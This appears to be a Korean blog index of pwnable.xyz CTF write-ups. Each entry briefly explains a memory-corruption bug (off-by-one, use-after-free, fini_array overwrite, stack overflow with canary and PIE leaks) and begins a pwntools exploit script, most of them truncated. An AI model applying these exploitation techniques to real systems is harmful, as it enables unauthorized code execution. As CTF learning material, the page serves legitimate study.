pwn/pwnable.xyz (39) 썸네일형 리스트형 pwnable.xyz / notebook off by one이 터져서 할당된 힙의 하위 1byte를 변조해서 원하는 함수가 호출되도록 할 수 있다 로컬이랑 리모트 환경이 달라서 그냥 힙에다가 win함수 뿌려놓고 대충 조건 맞춰줬다 from pwn import * p = remote("svc.pwnable.xyz", 30035) #p = process("./notebook", env= {"LD_PRELOAD" : "./alpin-libc-2.24.so "}) #gdb.attach(p) def make(size, title, note): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"size: ") p.sendline(str(size)) p.recvuntil(b"Title: ") p.sendline(tit.. pwnable.xyz / nin 입력 받은 데이터만큼 힙을 할당 받고 reznor_struct가 null인 경우 inivite_reznor함수를 호출한다 initvite_reznor함수에서는 힙을 할당 받고 0에는 문자열이 저장된 힙 주소를 저장하고 +8에는 answer_me함수의 주소를 저장한다 이후에 answer_me함수를 호출하고 처음 strdup로 할당된 청크를 free한다 위 함수에서는 수와 문자열을 입력 받고 hash_gift함수의 반환 값이 0xdeadbeef가 되면 reznor에서 할당된 청크들을 해제한다 0xdeadbeef 맞춰서 청크 2개 해제시키고 0xff할당 받아서 병합 시킨담에 병합된 청크 할당 받아서 answer_me를 win으로 덮어줬다 from pwn import * p = remote("svc.pwnabl.. pwnable.xyz / Dirty Turtle aaw 한번하고 프로그램을 종료한다 fini_array win으로 덮으면 된다 from pwn import * p = remote("svc.pwnable.xyz", 30033) #p = process("./dirty_turtle") win = 0x400821 fini_array = 0x600BC0 p.recvuntil(b"Addr: ") p.sendline(str(fini_array)) p.recvuntil(b": ") p.sendline(str(win)) p.interactive() pwnable.xyz / Hero Factory 히어로를 생성, 삭제, 스킬(?) 사용, 프로그램 종료 기능이 주어진다 create_hero함수에서 hero의 이름을 strcat으로 저장하기 때문에 마지막 널 바이트로 hero를 생성할때 설정되는 영역을 덮어서 다시 할당 재할당 받을 수 있고 strct으로 저장하기 때문에 super power 함수가 저장되는 영역도 덮을 수있다 from pwn import * context.log_level = "debug" p = remote("svc.pwnable.xyz", 30032) #p = process("./hero_factory") def create(length, name, power): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"be? \n") p.send.. pwnable.xyz / note v2 note문제의 v2로 비슷한 기능이 주어진다 hackCTF에도 이와 유사한 문제가 존재하는데 그거에 하위 호환 문제인 것 같다 중요한 기능흔 make_note와 delete_note다 delete_note에서는 note 문자열이 저장된 chunk를 해제하고 book에서도 해당 인덱스를 비워 uaf를 방지한다 make_note에서는 2개의 청크를 할당 받는데 0x28 크기의 청크를 할당받고 해당 청크에 제목을 입력받고 chunk + 0x20에 note문자열을 저장한 청크의 주소를 저장한다 이때 이미 title에서 할당 받은 청크의 0x20에 값이 채워져 있으면 해당 청크를 그대로 사용하게 된다 처음 청크를 만들때 note를 title과 같은 0x28 크기를 할당받고 0x20에 got주소를 넣어준 다음 해제.. pwnable.xyz / executioner v2 ret주소 뽑아서 win으로 만들어준 뒤 jmp하면 된다 solve_pow도 동일한데 0을 사용할 수 없다 적당히 계산해서 4byte가 0이 되도록 곱해주면 된다 from pwn import * def gen_num(data): byte = data % 0x10 if byte == 0: return 0x10000000 top_byte = int((data >> 0x18) / 0x10) if top_byte >= byte and 16 % byte == 0 and byte != 1: return int(16 / byte) * 0x10000000 else: return 0 while True: p = remote("svc.pwnable.xyz", 30028) #p = process("./executioner_.. pwnable.xyz / badayum 일정 확률로 bof가 터진다 canary랑 pie 릭한 담에 ret주소 win으로 덮으면 된다 from pwn import * context.log_level = "debug" p = remote("svc.pwnable.xyz", 30027) #p = process("./badayum") win = 0xd34 def send(data): p.recvuntil(b"you > ") p.send(data) def extract_len(): p.recvuntil(b"me > ") data = p.recvline() return len(data) def find_len(num): while True: length = extract_len() if length >= num: return 0 else: send(b".. pwnable.xyz / password secure login이라고 플래그인 비밀번호를 알아내서 로그인을 해야 한다 4가지 기능이 주어진다 enter password change password print password restore password and logout 패스워드를 바꾸거나 ID를 입력할 때 readline을 통해 데이터를 입력받게 되는데 이때 문자열 끝에 널 바이트를 넣어준다 ( \n을 제거 ) 로그인을 했는지는 bss 영역에 있는 cred가 1인 경우로 이때 change password기능을 사용할 수 있다 ID가 0인 경우 root로 print password 기능을 통해 패스워드를 디코딩한 뒤 출력할 수 있다 그럼 처음에 널 바이트를 넣어서 패스워드를 읽어내면 끝 아닌가 싶은데 널 바이트를 넣는 경우 프로그램을 종료한다.. 이전 1 2 3 4 5 다음